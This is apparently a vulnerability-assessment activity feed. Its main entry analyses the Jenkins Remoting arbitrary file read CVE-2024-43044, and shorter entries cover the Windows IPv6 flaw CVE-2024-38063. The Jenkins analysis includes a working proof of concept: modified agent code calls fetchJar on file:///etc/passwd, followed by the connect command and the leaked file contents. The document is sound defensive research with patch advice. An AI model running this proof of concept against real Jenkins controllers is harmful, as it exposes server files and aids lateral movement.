Activity Feed

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Medium
Technical Analysis

CVE-2024-43044 is an arbitrary file read vulnerability in Jenkins Automation Server, and it’s exploitable via Jenkins Remoting. This Remoting component operates as the client running on worker machines, and it’s used by worker agents to connect to the central Jenkins controller and execute assigned distributed workload tasks. Based on the advisory details, a worker agent client can abuse a feature intended to read classes from the Jenkins server to read arbitrary files from the server instead.

The initial advisory for the vulnerability classifies the severity as “Critical” and indicates that no authentication is required for exploitation. However, all other materials published, including the CVSS strings associated with the CVE, state that low privileges are required for exploitation. These materials also show a different severity score of “High”. Based on our analysis, unless the default agent authentication has been manually disabled, the typical vulnerable configuration will require low privileges to exploit.

Vulnerable Instances

Worker agents must exist and their credentials must be compromised for exploitation to occur. Though an out-of-the-box Jenkins instance on an affected version is not vulnerable, setting up worker agents is a very common configuration in enterprise environments. Per the advisory, most versions of Jenkins Remoting 3256.v88a_f6e922152 and earlier include code that can be used for local file disclosure. The advisory states that the vulnerable code is included in Jenkins 2.470 and earlier, as well as Jenkins LTS 2.452.3 and earlier.

A vulnerable v2.470 copy of Jenkins is available here.

Our affected Jenkins instance was configured to be exploitable by performing the following steps:

  • Login as an administrator.
  • Navigate to Manage Jenkins>Nodes and create a new Agent node. Copy the displayed connection secrets for later reference.
  • Navigate to Manage Jenkins>Security and enable a TCP port for inbound agents (either “Random” or “Fixed”).

Exploitation

The advisory states that “calls to Channel#preloadJar result in the retrieval of files from the controller by the agent using ClassLoaderProxy#fetchJar.” To explore this further, we’ll look at that area of the code base for the Remoting library.

Within RemoteClassLoader.java, ClassLoaderProxy contains fetchJar. It takes one parameter of type URL. Interestingly, this function has an existing FindBugs SSRF warning exception, indicating it had previously been flagged by security static analysis tooling.

        @Override
        @SuppressFBWarnings(
                value = "URLCONNECTION_SSRF_FD",
                justification = "This is only used for managing the jar cache as files.")
        public byte[] fetchJar(URL url) throws IOException {
            return Util.readFully(url.openStream());
        }

In Util.java, the readFully function used by fetchJar reads an InputStream and returns the resulting ByteArrayOutputStream.

    static byte[] readFully(InputStream in) throws IOException {
        // TODO perhaps replace by in.readAllBytes() after checking close behavior
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        copy(in, baos);
        return baos.toByteArray();
    }

We know that a URL type is being used by fetchJar, and the URL type typically supports the file protocol scheme. Since the intended impact is local file disclosure, we’ll likely need to supply a URL string like “file:///etc/passwd”.

To better understand the intended calling context for fetchJar, we can reference prefetch in RemoteClassLoader.java. At [0], we see proxy from RemoteClassLoader used to call fetchJar with a file path as the parameter.

    /*package*/ boolean prefetch(URL jar) throws IOException {
        synchronized (prefetchedJars) {
            if (prefetchedJars.contains(jar)) {
                return false;
            }

            String p = jar.getPath().replace('\\', '/');
            p = Util.getBaseName(p);
            File localJar = Util.makeResource(p, proxy.fetchJar(jar)); // [0]
            addURL(localJar.toURI().toURL());
            prefetchedJars.add(jar);
            return true;
        }
    }

As such, we’ll need to mimic this by inserting a malicious call to fetchJar after an instance of RemoteClassLoader is created. We’ll also have to do this where an existing proxy is available to call fetchJar with. The code that initializes a new RemoteClassLoader satisfies both criteria.

    private RemoteClassLoader(String name, @CheckForNull ClassLoader parent, @NonNull IClassLoader proxy) {
        super(name, new URL[0], parent);
        final Channel channel = RemoteInvocationHandler.unwrap(proxy);
        this.channel = channel == null ? null : channel.ref();
        this.underlyingProxy = proxy;
        if (channel == null || !channel.remoteCapability.supportsPrefetch() || channel.getJarCache() == null) {
            proxy = new DumbClassLoaderBridge(proxy);
        }
        this.proxy = proxy;
}

We’ll also need to ensure the authentication flow is complete, since the file will be read from the controller over the authenticated channel. Setting a breakpoint in the RemoteClassLoader code and connecting an agent results in the breakpoint hitting after the authentication flow is complete. Adding a call to fetchJar there should trigger the vulnerability.

We can test this by appending the following snippet to the above code.

       try {
            URL targ = new URL("file:///etc/passwd");
            byte[] outb = this.proxy.fetchJar(targ);
            String outs = new String(outb, StandardCharsets.UTF_8);
            System.out.println(outs);
        } catch (MalformedURLException e) {
            System.out.println("Malformed URL except");
        } catch (IOException e) {
            System.out.println("IO except - file may not exist");
        }

Next, we can quickly compile an agent.jar artifact using mvn clean install -Dmaven.test.skip=true -Denforcer.skip=true. With that in hand, we’ll connect using the Agent connection secret and attempt to leak the /etc/passwd file from the Jenkins controller host.

$ java -jar target/remoting-999999-SNAPSHOT.jar -url http://192.168.55.129:8080/ -secret 53fa0cdd4d072027a90e98a15b25a95e836444a466c6ad4a38c1fb0c7914bf68 -name agent0 -workDir "/home/jenkins"
Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager initializeWorkDir
INFO: Using /home/jenkins/remoting as a remoting work directory
Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager setupLogging
INFO: Both error and output logs will be printed to /home/jenkins/remoting
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher createEngine
INFO: Setting up agent: agent0
Aug 21, 2024 11:23:44 AM hudson.remoting.Engine startEngine
INFO: Using Remoting version: 999999-SNAPSHOT (private-08/21/2024 00:23 GMT-test-r7)
Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.WorkDirManager initializeWorkDir
INFO: Using /home/jenkins/remoting as a remoting work directory
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Locating server among [http://192.168.55.129:8080/]
Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.engine.JnlpAgentEndpointResolver resolve
INFO: Remoting server accepts the following protocols: [JNLP4-connect, Ping]
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Agent discovery successful
  Agent address: 192.168.55.129
  Agent port:    41863
  Identity:      c2:97:41:53:56:7c:6f:75:61:de:07:c7:fa:80:1f:57
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Handshaking
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Connecting to 192.168.55.129:41863
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Server reports protocol JNLP4-connect-proxy not supported, skipping
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Trying protocol: JNLP4-connect
Aug 21, 2024 11:23:44 AM org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader run
INFO: Waiting for ProtocolStack to start.
Aug 21, 2024 11:23:44 AM hudson.remoting.Launcher$CuiListener status
INFO: Remote identity confirmed: c2:97:41:53:56:7c:6f:75:61:de:07:c7:fa:80:1f:57
Aug 21, 2024 11:23:45 AM hudson.remoting.Launcher$CuiListener status
INFO: Connected
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
[..SNIP..]

The arbitrary file read succeeds and /etc/passwd is returned to the attacker.

Summary

CVE-2024-43044 is a local file disclosure bug, and the vulnerability seems to be authenticated in most scenarios. Based on this analysis, in order to exploit a typical vulnerable server, an attacker would need to acquire a Jenkins agent secret. This secret could be acquired by compromising a Jenkins agent system, a developer computer, or a secrets manager system. With that secret, and with network access to the Jenkins controller server, the attacker can craft an agent client JAR file that will authenticate and read arbitrary files from the server.

With the above in mind, CVE-2024-43044 seems most likely to be exploited for lateral movement, rather than facilitating initial access. However, due to the high-severity context, anyone running an affected version of Jenkins should urgently update their controller server. If updating instances is not immediately feasible, the Jenkins team has provided a lighter workaround patch to fix the vulnerability.

4
Ratings
Technical Analysis

As a quick addendum to @sfewer-r7’s excellent assessment, I’ve seen this vulnerability compared with CVE-2020-16898 in a few news articles, alongside the dreaded “w” word (“wormable”). Notably, that older bug never got exploited broadly — in fact, I still haven’t seen any good technical evidence that it was exploited at all.

There’s no guarantee this new vuln will follow that same trajectory, but if it actually gets used in the wild, I’d expect it to be used in highly targeted attacks by skilled adversaries (personally, my money’s on Chinese state-sponsored threat actors).

5
Ratings
Technical Analysis

On August 13, 2024, Microsoft disclosed CVE-2024-38063, an integer underflow vulnerability (CWE-191) affecting the IPv6 component of the Windows TCP/IP networking stack.

The affected Windows versions are summarized below (For a detailed list see the Microsoft advisory):

  • Windows 11
  • Windows 10
  • Windows Server 2022
  • Windows Server 2019
  • Windows Server 2016
  • Windows Server 2012
  • Windows Server 2008

We can see that this vulnerability affects a broad number of Windows systems, including all recent major versions and several older versions, dating back to Server 2008.

The vulnerability has been given a critical severity rating by Microsoft, with an accompanying CVSS score of 9.8. This score rates the vulnerability as both unauthenticated, and having low attacker complexity. Such a score indicates that this vulnerability may be a viable candidate for a remote code execution exploit. The low attacker complexity rating is likely an indication as to the ease in triggering the vulnerability, and not actually successfully exploiting the vulnerability to achieve RCE. Given that modern Windows kernels employ numerous memory corruption mitigations (such as Kernel ASLR, and Kernel CFG), and hardening techniques (such as PatchGuard and HyperGuard), actually building a reliable remote code execution exploit is likely difficult. It is worth noting that on older affected systems, like Server 2008, exploitation may be easier.

If we diff the patched tcpip.sys driver against an older, unpatched copy of the driver, we can see that the function tcpip!Ipv6pProcessOptions has been modified slightly. While it is currently unclear as to the root cause of the vulnerability based on this changed function, as there are no other notable changes in the tcpip.sys driver, it is likely that IPv6 options processing is at play.

Given what we currently know about the vulnerability, I have given this an attacker value rating of very high, as a potential unauthenticated RCE in a default installation of Windows is a high value exploit for an attacker. However, given the likely complexity in building a successful RCE exploit targeting the broad gambit of affected Windows versions, I have given the exploitability rating as low.

The best protection at this time is to apply the official patch from Microsoft. If this is not possible, disabling IPv6 on the network adapter is the next best mitigation. Organizations can also evaluate if ingress IPv6 traffic is necessary on their networks.